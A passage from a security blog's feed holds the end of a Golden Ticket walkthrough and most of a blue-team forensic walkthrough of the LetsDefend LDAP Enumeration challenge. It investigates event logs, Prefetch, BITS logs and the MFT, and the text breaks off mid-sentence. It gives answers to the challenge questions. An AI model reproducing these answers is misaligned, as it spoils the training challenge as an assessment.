data-flex-grow=&#34;321&#34; height=&#34;249&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/616cc2b8309b22d6b45ac2b2bda43d69_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;506px&#34; data-flex-grow=&#34;211&#34; height=&#34;379&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/27414b62436d49bf80ed21f3024e455f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that! A huge thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for dropping these awesome classic Active Directory attack challenges.&lt;/p&gt;&#xA;&lt;p&gt;This one was a great chance to revisit Kerberos fundamentals and sharpen our incident response skills. Instead of juggling multiple artifacts, we focused on a single source, the Windows Security Event Log, and used &lt;em&gt;Event Log Explorer&lt;/em&gt; to piece together what went down. Along the way, we uncovered an &lt;em&gt;AS-REP&lt;/em&gt; roasting attempt, correlated suspicious ticket activity, and stumbled on a &lt;em&gt;Golden Ticket&lt;/em&gt; use. It&amp;rsquo;s a reminder that even with limited data, careful filtering and enrichment from &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt; can help tie up the loose ends.&lt;/p&gt;&#xA;&lt;p&gt;I chose this challenge to brush up on my Windows incident response skills and refresh on Kerberos, classic Active Directory attacks, and misconfiguration pitfalls like missing pre-authentication. In a cloud-native world, it&amp;rsquo;s easy to forget that these techniques like enumeration, ticket forging, and lateral movement are still widely used in real-world attacks. Knowing how to spot them is extremely handy for any blue teamer. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/golden-ticket&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/golden-ticket&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Event Log Explorer:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://eventlogxp.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://eventlogxp.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Microsoft Learn — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Kerberos Network Authentication Service (V5) Synopsis&amp;quot;&#xA;:** &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Steal or Forge Kerberos Tickets: Golden Ticket (T1558.001):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1558/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1558/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Steal or Forge Kerberos Tickets: AS-REP Roasting (T1558.004):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1558/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1558/004/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Microsoft Learn — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;4768(S, F): A Kerberos authentication ticket (TGT) was requested&amp;quot;&#xA;**: &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Microsoft Learn — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;4769(S, F): A Kerberos service ticket was requested&amp;quot;&#xA;:** &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4769&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Microsoft Learn — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;4624(S): An account was successfully logged on&amp;quot;&#xA;:** &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4624&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — LDAP Enumeration Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/</link>
            <pubDate>Mon, 12 Jan 2026 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — LDAP Enumeration Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--ldap-enumeration-challenge-walkthrough&#34;&gt;LetsDefend — LDAP Enumeration Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-suspicious-network-enumeration-using-event-log-explorer-and-eric-zimmermans-tools&#34;&gt;Investigating Suspicious Network Enumeration Using Event Log Explorer and Eric Zimmerman&amp;rsquo;s Tools.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;296&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; width=&#34;567&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/ldap-enumeration&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/ldap-enumeration&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog while looking for a detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/ldap-enumeration&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LDAP Enumeration&lt;/strong&gt;&lt;/a&gt; blue team challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place.&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A network has been breached, and an alert was triggered indicating suspicious network enumeration activities from IP 192.168.110.129. Initial indicators suggest an attacker inside the network is actively probing systems and gathering information about critical assets. You are tasked with tracing the attacker&amp;rsquo;s movements to determine the source of the anomaly, understand how the attacker gained access, and assess what actions they might have taken inside the network.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;For this challenge, we&amp;rsquo;re putting on our incident response hats. Suspicious network enumeration and discovery activities have been identified coming from a single workstation. We&amp;rsquo;re handed a zip file containing Windows artifacts from the affected device and tasked with piecing together what happened and what tool triggered the alert.&lt;/p&gt;&#xA;&lt;p&gt;This scenario will have us pivoting between tools to deep dive into a variety of forensic artifacts as we build a timeline of the attack and uncover which tools were used or abused. To do this, we&amp;rsquo;ll crack open our toolboxes and leverage a mix of &lt;strong&gt;Eric Zimmerman&amp;rsquo;s forensic tools&lt;/strong&gt;, &lt;strong&gt;Event Log Explorer&lt;/strong&gt;, and &lt;strong&gt;VirusTotal&lt;/strong&gt; to analyze the evidence.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ll walk through each step clearly, and by the end, you&amp;rsquo;ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;questions-1-2&#34;&gt;Questions 1 &amp;amp; 2:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;the-investigator-needs-to-determine-when-the-attacker-first-accessed-the-system-based-on-the-login-records-when-did-the-first-successful-login-from-the-malicious-ipoccur&#34;&gt;The investigator needs to determine when the attacker first accessed the system. Based on the login records, when did the first successful login from the malicious IP occur?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-port-number-used-for-the-previouslogin&#34;&gt;What is the port number used for the previous login?&#xA;&lt;/h4&gt;&lt;p&gt;Let&amp;rsquo;s kick off this investigation and figure out what&amp;rsquo;s causing this suspicious network enumeration.&lt;/p&gt;&#xA;&lt;p&gt;First, extract &lt;code&gt;LDAP-Enum.7z&lt;/code&gt; from the &lt;code&gt;ChallengeFile&lt;/code&gt; folder. This leaves us with a folder named &lt;code&gt;C&lt;/code&gt;, which contains various artifacts from a Windows system that we&amp;rsquo;ll use throughout our investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;771px&#34; data-flex-grow=&#34;321&#34; height=&#34;249&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/cb2807a8c62172d54a5e5cd61740e9f5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the challenge artifacts&lt;/p&gt;&#xA;&lt;p&gt;The first thing we need to home in on is malicious login activity. For this, we&amp;rsquo;ll use the &lt;strong&gt;Windows Security Event log&lt;/strong&gt;, which contains, among other things, the login events for the system. Within our artifacts, the logs can be located in the following directory:&lt;/p&gt;&#xA;&lt;p&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\winevt\logs\Security.evtx&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;347px&#34; data-flex-grow=&#34;144&#34; height=&#34;552&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/89c495243ff036d6c1f1996ea3a2e217_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The location of the security event log artifact&lt;/p&gt;&#xA;&lt;p&gt;To view the logs, we have a couple of options. We can open this in &lt;em&gt;Windows Event Viewer&lt;/em&gt;, or we can use &lt;a class=&#34;link&#34; href=&#34;https://eventlogxp.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event Log Explorer&lt;/strong&gt;&lt;/a&gt;, a third-party utility that speeds up event log analysis. Since &lt;em&gt;Event Log Explorer&lt;/em&gt; is already built into the LetsDefend analysis environment, I&amp;rsquo;ll be using it for this walkthrough.&lt;/p&gt;&#xA;&lt;p&gt;Next, open &lt;em&gt;Event Log Explorer&lt;/em&gt; and load the &lt;code&gt;Security.evtx&lt;/code&gt; file. To quickly identify the first malicious login, we can then apply some filtering to surface exactly what we need.&lt;/p&gt;&#xA;&lt;p&gt;Press the filter button to focus on &lt;strong&gt;Event ID 4624&lt;/strong&gt; (&lt;em&gt;Successful Login&lt;/em&gt;). We can also search for &lt;em&gt;Text in description&lt;/em&gt; to narrow things down. A crucial detail to remember from the scenario is that the IP address &lt;code&gt;192.168.110.129&lt;/code&gt; was identified as the source of the network enumeration activity, so we&amp;rsquo;ll use that to search all of the details for records that contain that IP.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;141&#34; height=&#34;567&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/ab656c3590d0287e64a59044b299451b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Filtering successful login events from the malicious IP&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/5da4624a666727ee6c922fb326b01304_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying the first login from the malicious IP and the source port&lt;/p&gt;&#xA;&lt;p&gt;By applying this filter, we&amp;rsquo;ve quickly identified the first login from the malicious IP address — and we&amp;rsquo;ve even discovered the source port that we need to answer &lt;strong&gt;Question 2&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1655px&#34; data-flex-grow=&#34;689&#34; height=&#34;116&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/944c4bccc50da81ecef669fb8d8c50e7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1882px&#34; data-flex-grow=&#34;784&#34; height=&#34;102&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/2532ce51a0070bb8a2330767b14f51ac_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-once-inside-the-system-it-seems-the-attacker-immediately-began-gathering-information-what-was-the-first-command-they-executed&#34;&gt;Question 3: Once inside the system, it seems the attacker immediately began gathering information. What was the first command they executed?&#xA;&lt;/h3&gt;&lt;p&gt;Our next task is to figure out the first command the attacker executed once they gained access. For this, we&amp;rsquo;ll pivot from the event logs and turn to another forensic artifact: &lt;strong&gt;Windows Prefetch files&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Rather than try to explain the value of these artifacts myself, I&amp;rsquo;ll lean on the excellent blog post from &lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/forensic-analysis-of-prefetch-files-in-windows/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Magnet Forensics&lt;/a&gt;. They explain:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Prefetch files are great artifacts for forensic investigators trying to analyze applications that have been run on a system. Windows creates a prefetch file when an application is run from a particular location for the very first time. This is used to help speed up the loading of applications. For investigators, these files contain some valuable data on a user&amp;rsquo;s application history on a computer.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, if we can access the prefetch files, we can determine what the first command executable was run. We can locate the prefetch files in the &lt;code&gt;ChallengeFile\C\Windows\prefetch&lt;/code&gt; directory, but they aren&amp;rsquo;t much use to us as-is.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/21b17902e1b64cf6811f7bdff5759162_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The location of the prefetch file artifacts&lt;/p&gt;&#xA;&lt;p&gt;To parse the prefetch files, we&amp;rsquo;ll leverage one of the many &lt;em&gt;Eric Zimmerman tools —&lt;/em&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PECmd&lt;/strong&gt;&lt;/a&gt;. This utility is already loaded into the analysis environment, so we only need to launch it through PowerShell using the syntax below to specify the prefetch directory and an output directory and file. Here&amp;rsquo;s an example where &lt;em&gt;PECmd&lt;/em&gt; outputs to a file called &lt;code&gt;investigation.csv&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;.\PECmd.exe -d &amp;ldquo;C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\prefetch&amp;quot; &amp;ndash;csv C:\Users\LetsDefend\Desktop\ChallengeFile &amp;ndash;csvf investigation.csv&lt;/p&gt;&#xA;&lt;p&gt;Once the file is generated, we&amp;rsquo;ll open it with another &lt;em&gt;Eric Zimmerman tool&lt;/em&gt;, &lt;strong&gt;Timeline Explorer&lt;/strong&gt;, which allows us to view and sort the output data in a structured way.&lt;/p&gt;&#xA;&lt;p&gt;Within &lt;em&gt;Timeline Explorer&lt;/em&gt;, filter the &lt;em&gt;Last Run&lt;/em&gt; column so we can start to build out a timeline. From the previous questions, we know the attacker first logged in at &lt;code&gt;2024-10-05 14:48:58&lt;/code&gt;, so we&amp;rsquo;ll focus on events right after that. With the entries sorted, let&amp;rsquo;s look at the &lt;em&gt;Executable Name&lt;/em&gt; column—and we&amp;rsquo;ll find the first discovery command run:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/8c04b6e7db7bf77e047440bab9449e0d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Timeline Explorer: Filtering for executables following the initial login&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;whoami.exe&lt;/code&gt; is an example of &lt;em&gt;System Owner/User Discovery&lt;/em&gt; (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1033/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK T1033&lt;/strong&gt;&lt;/a&gt;) used to identify the currently logged-in user on the system and check what level of access they have.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s figure out what they did next.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/8a6aa8d7b8da1d9ab0f70bd5410ef64b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-during-the-attack-the-attacker-downloaded-a-malicious-file-what-is-the-exact-url-of-thefile&#34;&gt;Question 4: During the attack, the attacker downloaded a malicious file. What is the exact URL of the file?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve started to gather a rough timeline of the attack in &lt;em&gt;Timeline Explorer&lt;/em&gt;, we can see other potentially interesting executables that could be abused by the attacker to download further payloads — including &lt;code&gt;bitsadmin&lt;/code&gt;, &lt;code&gt;powershell&lt;/code&gt;, and &lt;code&gt;curl&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;349px&#34; data-flex-grow=&#34;145&#34; height=&#34;549&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/b314f3c89e31fae43032cd7871c92e63_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Timeline Explorer: Identifying methods of ingress tools transfer&lt;/p&gt;&#xA;&lt;p&gt;All of these commands are important pieces of the puzzle. But most interestingly, following the use of &lt;code&gt;BITSADMIN.EXE&lt;/code&gt;, we also see evidence of another suspicious executable: &lt;code&gt;Sharphound.exe&lt;/code&gt;. &lt;strong&gt;SharpHound&lt;/strong&gt; is the ingestor for &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0521/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;BloodHound&lt;/strong&gt;&lt;/a&gt;, a well-known Active Directory reconnaissance tool.&lt;/p&gt;&#xA;&lt;p&gt;This seems like a good place to start answering &lt;strong&gt;Question 4&lt;/strong&gt; and determine the full download URL of the &lt;code&gt;Sharphound.exe&lt;/code&gt; file. Since we already noted that this activity followed &lt;code&gt;BITSADMIN.EXE&lt;/code&gt;, we&amp;rsquo;ll use the &lt;strong&gt;BITS Client Operational Logs&lt;/strong&gt; to &lt;em&gt;discover&lt;/em&gt; (no pun intended) more details. These logs can be located in the directory below. Go ahead and open them in &lt;em&gt;Event Log Explorer&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\System32\winevt\logs\Microsoft-Windows-Bits-Client%4Operational.evtx&lt;/p&gt;&#xA;&lt;p&gt;Scroll down to the matching timestamp that we found in &lt;em&gt;Timeline Explorer&lt;/em&gt; to identify the URL that the tool was downloaded from.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/f9573a142b531a6f68a22944abae5756_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying the URL the malicious file was downloaded from&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2109px&#34; data-flex-grow=&#34;879&#34; height=&#34;91&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/80d2a118a68a276c3044b844f5d30cdf_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-the-download-logs-indicate-when-the-malicious-file-was-brought-onto-the-system-what-time-did-the-downloadoccur&#34;&gt;Question 5: The download logs indicate when the malicious file was brought onto the system. What time did the download occur?&#xA;&lt;/h3&gt;&lt;p&gt;Unfortunately, the timestamp in the BITS logs only indicates when the BITS job was created — not when the file was actually written to the file system. So, we&amp;rsquo;ll pivot to yet another artifact: the master file table ($MFT). To explore the &lt;em&gt;MFT&lt;/em&gt;, we&amp;rsquo;ll use &lt;strong&gt;MFTExplorer&lt;/strong&gt;, the GUI version of &lt;em&gt;Eric Zimmerman&amp;rsquo;s&lt;/em&gt; &lt;strong&gt;MFTECmd&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For some context about this artifact, let&amp;rsquo;s lean on the &lt;em&gt;Magnet Forensics&lt;/em&gt; blog again, where it&amp;rsquo;s explained:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.magnetforensics.com/blog/harnessing-mft-parsing-for-incident-response-investigations/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;In the Windows NTFS file system, the MFT is a database that stores metadata about every file on an NTFS file system volume. It contains records describing each file&amp;rsquo;s attributes, such as its name, size, timestamps, permissions, and more.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Putting this together, the idea is that by parsing the &lt;strong&gt;$MFT&lt;/strong&gt;, we can identify the creation timestamp of the &lt;code&gt;SharpHound.exe&lt;/code&gt; binary, indicating when it was downloaded.&lt;/p&gt;&#xA;&lt;p&gt;Once you have &lt;em&gt;MFTExplorer&lt;/em&gt; open, load the &lt;code&gt;$MFT&lt;/code&gt; artifact from:&lt;/p&gt;&#xA;&lt;p&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\C$MFT&lt;/p&gt;&#xA;&lt;p&gt;Then, in the directory structure browser on the left, navigate to the file path we found in the BITS Client log in the last question:&lt;/p&gt;&#xA;&lt;p&gt;C:\Users\LetsDefend\Desktop\ChallengeFile\C\Windows\Temp&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ldap-enumeration-challenge-walkthrough/25bbb07f5caab9309fd9919f2facac8b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;MFT Explorer: Identifying the creation time of the SharpHound.exe binary&lt;/p&gt;&#xA;&lt;p&gt;Here, you&amp;rsquo;ll find the record for the malicious 